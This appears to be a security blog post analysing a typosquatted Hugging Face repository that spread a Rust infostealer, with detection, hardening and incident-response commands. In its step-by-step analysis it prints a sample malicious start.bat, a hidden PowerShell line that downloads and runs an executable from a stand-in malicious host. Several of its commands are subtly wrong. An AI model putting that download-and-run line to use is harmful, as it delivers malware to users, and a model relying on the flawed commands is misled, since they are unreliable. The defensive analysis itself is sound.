Listen to this Post
Introduction:
Attackers are increasingly abusing trusted AI/ML platforms like Hugging Face to distribute malware. In a recent incident, a malicious repository named “Open-OSS/privacy-filter” typosquatted OpenAI’s legitimate Privacy Filter release, reached the 1 trending spot with over 244,000 downloads, and delivered a Rust‑based infostealer to Windows users. This attack highlights how social proof (likes, trending rank) and platform trust can be weaponized to bypass security awareness.
Learning Objectives:
- Identify typosquatting and social‑engineering indicators in open‑source AI/ML repositories.
- Analyze the execution chain of Rust‑based infostealers on Windows systems.
- Implement detection, mitigation, and incident response steps for similar supply‑chain threats.
You Should Know:
1. Anatomy of the Typosquatting Attack
The malicious repo copied OpenAI’s model card verbatim, linked to real OpenAI documentation, but changed the README to instruct users to clone the repo and run `start.bat` (Windows) or `loader.py` (Unix). Attackers likely used bots to boost likes and downloads. Step‑by‑step analysis:
– Step 1 – Clone the (now‑removed) repo for analysis in a sandbox:
`git clone https://huggingface.co/Open-OSS/privacy-filter` (if still cached)
– Step 2 – Inspect the README for deviations:
`grep -i “start.bat|loader.py” README.md`
– Step 3 – Examine `start.bat` (typical malicious content):
@echo off powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://malicious.domain/payload.exe' -OutFile %TEMP%\updater.exe; Start-Process %TEMP%\updater.exe"
– Step 4 – Use `strings` or a decompiler to analyze `loader.py` which often downloads a Rust‑compiled executable.
2. Detecting Typosquatting in ML Hubs
Manually verify repository authenticity before cloning. Commands and tools:
– Compare hashes with the legitimate repo:
`diff <(curl -s https://huggingface.co/openai/privacy-filter/raw/main/README.md) <(curl -s https://huggingface.co/Open-OSS/privacy-filter/raw/main/README.md)`
- Check download spikes via Hugging Face API:
`curl -s "https://huggingface.co/api/models/Open-OSS/privacy-filter" | jq '.downloads'`
- Use OSINT – Search for mentions of the repo on GitHub discussions or Reddit:
`site:github.com “privacy-filter” malware`
- Windows PowerShell – Audit cloned repos for unexpected executables:
`Get-ChildItem -Path C:\repo\ -Include .exe,.bat,.ps1 -Recurse | Select FullName`
3. Rust‑Based Infostealer Behavior & Commands
Rust infostealers commonly target browser credentials, crypto wallets, and Discord tokens. On Windows, they often:
– Run from `%APPDATA%` or `%TEMP%` with masqueraded names.
– Inject into legitimate processes (e.g., explorer.exe).
– Exfiltrate data via HTTP POST to C2 servers.
Detection commands (run as Administrator in PowerShell):
List suspicious outbound connections on non‑standard ports
netstat -ano | findstr "ESTABLISHED" | findstr ":443|:80" | findstr /v ":443 LISTENING"
Find recently created files in temp folders
Get-ChildItem -Path "$env:TEMP", "$env:APPDATA" -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) } | Select FullName, CreationTime
Check for Rust compiler artifacts (if the malware was compiled on‑site)
Get-Process | Where-Object { $_.ProcessName -match "rustc|cargo" }
On Linux (if analyzing `loader.py`):
Monitor file system changes in real time inotifywait -m -r ~/.cache ~/.config -e create,modify Trace process execution strace -f -e execve python3 loader.py 2>&1 | grep -E "execve|open"
4. Mitigation & Hardening for Windows Systems
Prevent execution of unsigned batch/PowerShell scripts and block known malicious patterns.
– Set PowerShell execution policy to Restricted (Admin):
`Set-ExecutionPolicy Restricted -Scope LocalMachine`
- Enable Windows Defender ASR rules to block Office scripts from launching child processes:
`Add-MpPreference -AttackSurfaceReductionRules_Ids “D4F940AB-401B-4EFC-AADC-AD5F3C50688A” -AttackSurfaceReductionRules_Actions Enabled`
- Block downloaded BAT/PS1 execution via AppLocker (Create default rules):
`New-AppLockerPolicy -RuleType Exe -User Everyone -Action Deny -Path “%USERPROFILE%\Downloads\.bat”`
– Use Sysmon to log process creation with command lines:
`sysmon64 -accepteula -i sysmon-config.xml`
5. Incident Response Steps if Infected
If `start.bat` or `loader.py` was executed:
- Isolate the host from the network (disable NIC or unplug cable).
- Capture volatile data with `netstat -naob` and
tasklist /v > tasks.txt. - Acquire malicious files before deletion:
`copy %TEMP%\.exe C:\forensics\` and `copy %APPDATA%\rust C:\forensics\`
- Use Sysinternals Autoruns to check persistence:
`autoruns64.exe -a -c` → look for suspicious entries inRun,RunOnce, or scheduled tasks. - Extract browser credentials the stealer might have dumped (if already encrypted, change all passwords immediately).
PowerShell to list browsers’ local storage:
`Get-ChildItem “$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data” -ErrorAction SilentlyContinue`
6. Securing AI/ML Development Pipelines
Treat third‑party models and code as untrusted. Use sandboxing and automated scanning.
– Docker isolation – Run Hugging Face transformers in a throwaway container:
docker run --rm -v $PWD:/workspace -it python:3.9 bash pip install transformers datasets Execute model loading inside container; do NOT mount sensitive host paths
– Use `huggingface-cli` to scan for suspicious file types before cloning:
`huggingface-cli repo-files Open-OSS/privacy-filter | grep -E “\.(bat|exe|ps1|sh|py)”`
- Implement a local mirror with virus scanning:
`clamscan –recursive –infected /path/to/cached/repos`
7. Safe Usage of Public Model Hubs
Establish a checklist for any repo before downloading:
- Verify the organization name (Open‑OSS vs OpenAI – one character difference).
- Check release date and download velocity – a sudden spike to 200K+ in hours is artificial.
- Inspect the file tree: legitimate models contain
.bin,.json,.safetensors, not `.bat` or.exe. - Use `git ls-tree` to list all blobs in the remote repo without cloning:
`git ls-remote –heads https://huggingface.co/Open-OSS/privacy-filter` - Run a quick YARA rule on any suspicious file:
yara -r rust_infostealer.yar /path/to/cloned_repo/
What Undercode Say:
- Key Takeaway 1: Trending algorithms and social metrics (likes, downloads) are easily manipulated – they should never be used as a sole trust indicator for downloading executable code.
- Key Takeaway 2: Rust‑based infostealers are becoming the malware author’s language of choice due to performance, cross‑platform compilation, and evasion of traditional signature‑based AV.
The attack succeeded because developers automatically trusted a “trending” repository without reviewing its contents. Hugging Face’s takedown was reactive; proactive measures like mandatory file‑type scanning, user‑reputation systems, and sandboxed execution environments are urgently needed. Security teams must treat ML model hubs as software supply chain risks, applying the same rigorous code review and runtime monitoring used for container registries or package managers like PyPI and npm. The integration of automated malware detection (e.g., using YARA or VirusTotal API) into `huggingface-cli` would help. Additionally, end‑users should execute any third‑party script inside isolated VMs or Docker containers – especially when it requires `start.bat` or loader.py.
Prediction:
Supply‑chain attacks targeting AI/ML platforms will escalate rapidly. Attackers will evolve beyond typosquatting to compromise legitimate, highly‑downloaded models via dependency confusion or malicious pickle serialization (already demonstrated). The use of Rust for infostealers will increase, forcing antivirus vendors to improve behavioral detection. Platforms like Hugging Face will likely mandate two‑factor authentication for uploads, implement automated malware scanning of all files, and introduce “verified publisher” badges with extended validation. However, as generative AI lowers the bar for writing custom malware, we can expect “zero‑day” model‑hosted attacks that abuse ONNX or TensorFlow serialization to drop payloads without any script file. Organizations should start training their blue teams on detecting anomalous API calls from data science environments and enforce strict egress filtering from ML pipelines.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mayura Kathiresh – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
